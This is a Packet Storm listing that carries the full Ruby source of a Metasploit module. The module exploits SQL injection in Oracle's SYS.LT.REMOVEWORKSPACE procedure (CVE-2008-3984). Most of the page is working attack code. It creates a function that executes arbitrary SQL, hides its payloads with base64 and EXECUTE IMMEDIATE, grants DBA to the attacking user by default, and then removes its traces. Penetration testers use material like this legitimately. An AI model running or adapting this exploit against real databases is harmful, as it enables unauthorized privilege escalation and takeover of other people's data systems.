what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle DB SQL Injection Via SYS.LT.REMOVEWORKSPACE

Oracle DB SQL Injection Via SYS.LT.REMOVEWORKSPACE
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module exploits a sql injection flaw in the REMOVEWORKSPACE procedure of the PL/SQL package SYS.LT. Any user with execute privilege on the vulnerable package can exploit this vulnerability.

tags | exploit, sql injection
advisories | CVE-2008-3984
SHA-256 | 27f5ae57e22ed3cfd2e38c06ca48a65e3dfb8c76f9cc56d51d4721d34c60da9c

Oracle DB SQL Injection Via SYS.LT.REMOVEWORKSPACE

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE',
'Description' => %q{
This module exploits a sql injection flaw in the REMOVEWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-3984' ],
[ 'OSVDB', '49326']
],
'DisclosureDate' => '2008-10-13'))

register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
])
end

def run
return if not check_dependencies

name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(1)

function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"

package1 = %Q|
BEGIN
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|

package2 = %Q|
BEGIN
SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|

uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package1)
tres = Rex::Text.encode_base64(package2)

sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
EXECUTE IMMEDIATE #{rand3};
END;
|

clean = "DROP FUNCTION #{cruft}"

# Try first, if it's good.. keep doing the dance.
print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...")
begin
prepare_exec(sql)
rescue => e
return
end

print_status("Removing function '#{cruft}'...")
prepare_exec(clean)

end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close